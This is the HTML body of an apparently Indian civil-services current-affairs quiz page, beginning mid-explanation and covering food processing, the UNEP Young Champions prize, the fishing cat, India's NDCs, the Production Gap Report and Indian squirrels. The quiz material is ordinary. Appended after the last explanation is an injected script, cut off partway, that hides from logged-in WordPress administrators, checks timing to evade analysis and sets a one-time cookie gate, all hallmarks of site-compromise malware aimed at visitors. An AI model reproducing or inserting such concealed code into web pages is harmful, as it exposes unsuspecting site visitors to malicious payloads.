wp-block-paragraph\"><strong>Food Processing Sector in India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-116\">\n<li>The food processing sector contributes significantly to India\u2019s GDP, employment, and exports, and is considered a sunrise sector of the Indian economy.<\/li>\n\n\n\n<li>India is the world\u2019s largest producer of milk, onions, and pulses, and the second-largest producer of rice, wheat, sugarcane, fruits &amp; vegetables, tea, and eggs.<\/li>\n\n\n\n<li>Foreign Direct Investment (FDI) equity inflow of USD 7.33 billion was received in the food processing sector over the last decade.<\/li>\n\n\n\n<li>In 2024\u201325, agriculture and processed food exports touched USD 49.4 billion, with processed foods contributing 20.4% of this share (up from 13.7% in 2014\u201315).<\/li>\n\n\n\n<li>The sector provides employment to over 6.9 million people \u2014 2.23 million in registered units and 4.68 million in the unregistered sector.<\/li>\n\n\n\n<li>64 lakh food business operators are now registered, up from 25 lakh, reflecting growing formalisation in the sector.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>Infrastructure support includes:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-118\">\n<li>24 Mega Food Parks<ul><li>22 Agro-processing Clusters<\/li><\/ul><ul><li>289 Cold Chain Projects<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>305 Processing and Preservation Units<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Government has implemented key schemes like:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-120\">\n<li>Pradhan Mantri Kisan Sampada Yojana (PMKSY)<ul><li>PM Formalisation of Micro Food Processing Enterprises (PMFME)<\/li><\/ul><ul><li>Production Linked Incentive Scheme (PLISFPI) \u2013 \u20b910,900 crore<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>PLIS for Millet-Based Products (PLISMBP)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-121\">\n<li>100% FDI is permitted in the food processing sector under the automatic route. <strong>Hence statement III is correct.<\/strong><\/li>\n\n\n\n<li>The sector focuses on value addition, reduction of post-harvest losses, enhancing farmer incomes, and creating jobs in rural and semi-urban areas.<\/li>\n\n\n\n<li>India is promoting millets, plant-based proteins, Ready-to-Eat (RTE), and Ready-to-Cook (RTC) food products as part of future-ready food categories.<\/li>\n\n\n\n<li>Through initiatives like Make in India, the government aims to position India as a global food processing hub.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2011)<\/strong> <br><br><strong>Q. With what purpose is the Government of India promoting the concept of \u201cMega Food Parks\u201d?<\/strong> <br><br>1. To provide good infrastructure facilities for the food processing industry. <br>2. To increase the processing of perishable items and reduce wastage. <br>3. To provide emerging and eco-friendly food processing technologies to entrepreneurs. <br><br><strong>Select the correct answer using the codes given below:<\/strong> <br><br>(a) 1 only <br><strong>(b) 1 and 2 only<\/strong> <br>(c) 2 and 3 only<br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2170508\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2170508<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><a><\/a><strong>6. \u2018Young Champions of the Earth Prize\u2019 is awarded by the<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\">(a) United Nations Development Programme (UNDP)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">(b) United Nations Environment Programme (UNEP)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">(c) United Nations Educational, Scientific and Cultural Organization (UNESCO)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\">(d) United Nations Framework Convention on Climate Change (UNFCCC)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>Answer: (b) United Nations Environment Programme (UNEP)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>In NEWS: <\/strong>Indian entrepreneur among winners of UNEP\u2019s 2025 Young Champions of the Earth prize<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>UNEP Young Champions of the Earth Prize \u2013 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-132\">\n<li>The Young Champions of the Earth Prize is a <strong>global initiative by the United Nations Environment Programme (UNEP) <\/strong>to recognize and support outstanding environmental innovators under the age of 30.<strong> Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>The prize honors young entrepreneurs and change-makers who are developing bold, scalable solutions to address pressing environmental challenges.<\/li>\n\n\n\n<li>In 2025, <strong>Jinali Mody, a 28-year-old Indian entrepreneur and founder of Banofi Leather, was one of the global winners.<\/strong><\/li>\n\n\n\n<li>Her company, Banofi Leather, produces eco-friendly leather alternatives from banana crop waste, significantly reducing water usage and carbon emissions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>Eligibility:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-134\">\n<li>Participants must be between the ages of 18 and 30.<\/li>\n\n\n\n<li>They must have at least six months prior experience working on their environmental project.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Winners of the UNEP prize receive:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-136\">\n<li>US$ 20,000 in seed funding<\/li>\n\n\n\n<li>Mentorship from experts<\/li>\n\n\n\n<li>Global visibility and networking opportunities<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>The 2025 winners also include:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-138\">\n<li>Joseph Nguthiru (Kenya), founder of HyaPak, which creates biodegradable packaging from water hyacinth.<\/li>\n\n\n\n<li>Noemi Florea (USA), founder of Cycleau, developing greywater reuse systems for households.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-139\">\n<li>The prize promotes climate-smart, circular economy, and sustainable development solutions, highlighting the role of youth in building a greener planet.<\/li>\n\n\n\n<li>The UNEP initiative emphasizes innovation that addresses plastic pollution, water conservation, sustainable agriculture, and clean technology.<\/li>\n\n\n\n<li>The Young Champions of the Earth programme serves as a platform to empower next-generation environmental leaders across the globe.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/environment\/indian-entrepreneur-among-winners-of-uneps-2025-young-champions-of-the-earth-prize#google_vignette\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/environment\/indian-entrepreneur-among-winners-of-uneps-2025-young-champions-of-the-earth-prize#google_vignette<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>7. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Statement I: <\/strong>Recently, a rare Fishing Cat was discovered at the Ramgarh Vishdhari Tiger Reserve in Rajasthan.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Statement II: <\/strong>Fishing Cats are specially adapted to wetland habitats such as mangroves, marshes, swamps, riverbanks, and floodplains.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>Statement III: <\/strong>The Ramgarh Vishdhari Tiger Reserve\u2019s landscape consists of dry deciduous forests, grasslands, and riverine ecosystems. <strong>&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">(a) Both Statement II and Statement III are correct and both of them explain Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\">(b) Both Statement II and Statement III are correct but only one of them explains Statement I\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\">(c) Only one of the Statements II and III is correct and that explains Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\">(d) Neither Statement II nor Statement III is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>Answer: (a) Both Statement II and Statement III are correct and both of them explain Statement I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>In NEWS: <\/strong>Rare Fishing Cat Discovered at Ramgarh Vishdhari Tiger Reserve. <strong>Hence statement I is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>Prionailurus viverrinus (Fishing Cat):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-154\">\n<li>Prionailurus viverrinus, commonly known as the Fishing Cat, is a medium-sized wild cat species native to South and Southeast Asia.<\/li>\n\n\n\n<li>It is specially <strong>adapted to wetland habitats <\/strong>such as mangroves, marshes, swamps, riverbanks, and floodplains. <strong>Hence statement II is correct and explains statement I.<\/strong><\/li>\n\n\n\n<li>The species is named \u201cFishing Cat\u201d due to its unique ability to hunt fish, <strong>using partially webbed front feet to swim and catch aquatic prey.<\/strong><\/li>\n\n\n\n<li>Prionailurus viverrinus is listed as <strong>Vulnerable on the IUCN Red List <\/strong>due to habitat loss, wetland degradation, and human-wildlife conflict.<\/li>\n\n\n\n<li>The Fishing Cat is mainly <strong>nocturnal and solitary,<\/strong> known for its excellent swimming ability, even diving underwater to catch prey.<\/li>\n\n\n\n<li>It is found in countries like<strong> India, Nepal, Bangladesh, Sri Lanka, Cambodia, Thailand, and Indonesia<\/strong>, though its population is highly fragmented.<\/li>\n\n\n\n<li>In India, it is primarily found in the Sundarbans, Terai region, and eastern coastal areas, but was recently discovered in Ramgarh Vishdhari Tiger Reserve, Rajasthan, expanding its known range.<\/li>\n\n\n\n<li>It is listed under <strong>Schedule I of the Indian Wildlife (Protection) Act, 1972<\/strong>, offering it the highest level of legal protection in the country.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"576\" height=\"480\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-26.jpg\" alt=\"\" class=\"wp-image-2452\" style=\"width:840px;height:auto\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-26.jpg 576w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-26-300x250.jpg 300w\" sizes=\"auto, (max-width: 576px) 100vw, 576px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>Ramgarh Vishdhari Tiger Reserve:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-156\">\n<li>Ramgarh Vishdhari Tiger Reserve is located in the <strong>Bundi district of Rajasthan, India.<\/strong><\/li>\n\n\n\n<li>It was declared the 52nd Tiger Reserve of India and the 4th in Rajasthan in May 2022.<\/li>\n\n\n\n<li>RVTR acts as a critical tiger corridor between Ranthambhore Tiger Reserve (to the northeast) and Mukundra Hills Tiger Reserve (to the southwest).<\/li>\n\n\n\n<li>The landscape consists of <strong>dry deciduous forests, grasslands, and riverine ecosystems, supporting diverse wildlife. Hence statement III is correct and explains statement I.<\/strong><\/li>\n\n\n\n<li>It hosts species like tiger, leopard, striped hyena, sloth bear, jackal, nilgai, sambar, chinkara, and various bird and reptile species.<\/li>\n\n\n\n<li>RVTR is known for its rich biodiversity of small wild cats, including:<ul><li>Jungle Cat (Felis chaus)<\/li><\/ul><ul><li>Rusty-spotted Cat (Prionailurus rubiginosus)<\/li><\/ul><ul><li>Asiatic Wildcat (Felis lybica ornata)<\/li><\/ul><ul><li>Caracal (Caracal caracal)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Fishing Cat (Prionailurus viverrinus) \u2013 discovered here in 2025 for the first time<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The reserve also holds cultural significance, with ancient temples and historical ruins scattered across the region.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Which one of the following makes a tool with a stick to scrape insects from a hole in a tree or a log of wood?<\/strong> <br><br>(a) Fishing cat <br><strong>(b) Orangutan<\/strong> <br>(c) Otter <br>(d) Sloth bear<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.gktoday.in\/rare-fishing-cat-discovered-at-ramgarh-vishdhari-tiger-reserve\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.gktoday.in\/rare-fishing-cat-discovered-at-ramgarh-vishdhari-tiger-reserve\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>8. Which among the following is\/are India\u2019s \u2018Nationally Determined Contributions (NDCs)\u2019 as mandated under the Paris Agreement?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">1. Reduce emissions intensity of GDP by 33\u201335% by 2030 compared to 2005 levels.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\">2. Achieve 40% cumulative electric power capacity from non-fossil fuel sources by 2030.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">3. Create additional carbon sink through forests and tree cover of 2.5 &#8211; 3 billion tonnes CO\u2082 equivalent.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>In NEWS: <\/strong>India to release updated climate action plan ahead of COP30 meet in Brazil<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-170\">\n<li>Under the Paris Agreement, every country is mandated to finalise and submit these NDCs every five years, with every successive NDC representing a progression over the existing one.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>Nationally Determined Contributions (NDCs):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>1. Definition:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\">NDCs are <strong>climate action plans<\/strong> submitted by countries under the <strong>Paris Agreement (2015)<\/strong>, outlining <strong>targets and measures<\/strong> to reduce greenhouse gas (GHG) emissions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\"><strong>2. Purpose:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-175\">\n<li>To <strong>limit global temperature rise<\/strong> to <strong>well below 2\u00b0C<\/strong>, ideally <strong>1.5\u00b0C<\/strong> above pre-industrial levels.<\/li>\n\n\n\n<li>To guide <strong>domestic climate policies<\/strong> and track <strong>progress in emission reductions<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\"><strong>3. Voluntary but Binding in Submission:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\">Countries <strong>voluntarily set their targets<\/strong>, but <strong>submission and updating of NDCs is mandatory<\/strong> under the Paris Agreement.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>4. Scope:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\">Covers <strong>mitigation measures<\/strong> (reducing emissions), <strong>adaptation measures<\/strong> (climate resilience), <strong>finance<\/strong>, <strong>technology transfer<\/strong>, and <strong>capacity building<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\"><strong>5. India\u2019s NDCs:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-181\">\n<li>Reduce <strong>emissions intensity of GDP by 33\u201335% by 2030<\/strong> (compared to 2005 levels).<\/li>\n\n\n\n<li>Achieve <strong>40% cumulative electric power capacity from non-fossil fuel sources by 2030<\/strong>.<\/li>\n\n\n\n<li><strong>Create additional carbon sink<\/strong> through <strong>forests and tree cover<\/strong> of 2.5 &#8211; 3 billion tonnes CO\u2082 equivalent. <strong>Hence all the statements are correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\"><strong>6. Reporting and Updates:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\">Countries are expected to <strong>update NDCs every 5 years<\/strong>, reflecting <strong>enhanced ambition<\/strong> over time.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\"><strong>7. Global Significance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-185\">\n<li>Serves as the <strong>primary mechanism for countries to communicate climate commitments<\/strong>.<\/li>\n\n\n\n<li>Supports <strong>international transparency and accountability<\/strong> in climate action.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>8. Linkage with Sustainable Development Goals (SDGs):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\">NDCs are linked with SDG 7 (Affordable and Clean Energy), SDG 13 (Climate Action), and SDG 15 (Life on Land).<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. The term \u2018Intended Nationally Determined Contributions\u2019 is sometimes seen in the news in the context of<\/strong> <br><br>(a) pledges made by the European countries to rehabilitate refugees from the war-affected Middle East <br><strong>(b) plan of action outlined by the countries of the world to combat climate change<\/strong> <br>(c) capital contributed by the member countries in the establishment of Asian Infrastructure Investment Bank <br>(d) plan of action outlined by the countries of the world regarding Sustainable Development Goals<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/india\/india-updated-climate-action-plan-cop30-meet-brazil-10267831\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/india\/india-updated-climate-action-plan-cop30-meet-brazil-10267831\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\"><strong>9. The objective of the Production Gap Report published by the United Nations Environment Programme (UNEP) is to<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-190 wp-block-paragraph\">(a) monitor global renewable energy capacity and investments.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\">(b) assess the gap between planned fossil fuel production and climate-compatible levels to guide policy action.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-192 wp-block-paragraph\">(c) track greenhouse gas emissions from the transportation sector only.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\">(d) promote international trade of fossil fuels among developing countries.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-194 wp-block-paragraph\"><strong>Answer: (b) assess the gap between planned fossil fuel production and climate-compatible levels to&nbsp; guide policy action.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-195 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-196 wp-block-paragraph\"><strong>In NEWS: <\/strong>Production Gap Report: Global fossil fuel plans exceed Paris limits by 120% for 1.5\u00b0C<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-197 wp-block-paragraph\"><strong>The Production Gap Report:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-198\">\n<li>The Production Gap Report is an annual assessment published by the<strong> United Nations Environment Programme (UNEP)<\/strong> and partner organizations.<\/li>\n\n\n\n<li>It analyzes the difference between countries\u2019 planned fossil fuel production and the levels consistent with limiting global warming to 1.5\u00b0C or 2\u00b0C above pre-industrial levels. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>The report highlights the &#8220;production gap&#8221;\u2014the gap between government plans for fossil fuel extraction and the reduction needed to meet international climate goals.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-199 wp-block-paragraph\"><strong>Key Findings of the 2025 Production Gap Report:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-200\">\n<li>Planned Fossil Fuel Production in 2030: Governments collectively plan higher levels of coal production through 2035, gas through 2050, and oil well beyond mid-century compared to projections made just two years ago.<\/li>\n\n\n\n<li>Coal Production: Projected to be 500% higher than the median 1.5\u00b0C pathway and 330% above the 2\u00b0C benchmark.<\/li>\n\n\n\n<li>Oil and Gas Production: Planned 2030 production exceeding Paris-aligned limits by 31% and 92%, respectively.<\/li>\n\n\n\n<li>Major Contributing Countries: China, the United States, Saudi Arabia, Brazil, and Nigeria are among the countries ramping up extraction.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-201 wp-block-paragraph\"><strong>Urgent Call for Action:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-202\">\n<li>Immediate Reductions Needed: To align with the Paris Agreement, coal use must be nearly phased out by 2040, while oil and gas production must fall by around 75% by 2050 compared to 2020 levels.<\/li>\n\n\n\n<li>Current Trajectories: Instead of reductions, fossil fuel output is projected to be more than 4.5 times higher than 1.5\u00b0C-consistent levels by 2050.<\/li>\n\n\n\n<li>Just Transition: Deliberate policies for a &#8220;just transition&#8221; are essential to cushion workers and communities dependent on fossil fuel industries.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong> <br><br><strong>Q. The \u2018Common Carbon Metric\u2019, supported by UNEP, had been developed for<\/strong> <br><br><strong>(a) Assessing the carbon footprint of building operations around the world<\/strong> <br>(b) Enabling commercial farming entities around the world to enter carbon emission trading <br>(c) Enabling governments to assess the overall carbon footprint caused by their countries <br>(d) Assessing the overall carbon footprint caused by the use of fossil fuels by the world in a unit time<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-203 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/energy\/production-gap-report-global-fossil-fuel-plans-exceed-paris-limits-by-120-for-15c\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/energy\/production-gap-report-global-fossil-fuel-plans-exceed-paris-limits-by-120-for-15c<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-204 wp-block-paragraph\"><strong>10. Consider the following statements regarding the Indian squirrels:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-205 wp-block-paragraph\">1. They build nests by making burrows in the ground.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-206 wp-block-paragraph\">2. They store their food materials like nuts and seeds in the ground.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-207 wp-block-paragraph\">3. They are omnivorous.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-208 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-209 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-210 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-211 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-212 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-213 wp-block-paragraph\"><strong>Answer: (b) Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-214 wp-block-paragraph\"><strong>EXPLANATION:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-215\">\n<li>Indian squirrels do not make burrows in the ground; they build nests in trees, typically in branches or tree hollows.<strong> Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>They often store food like nuts and seeds, sometimes burying them in the ground or hiding them in tree crevices. <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-216 wp-block-paragraph\">Indian squirrels are omnivorous; they eat fruits, nuts, seeds, and occasionally insects and bird eggs. <strong>Hence statement 3 is correct.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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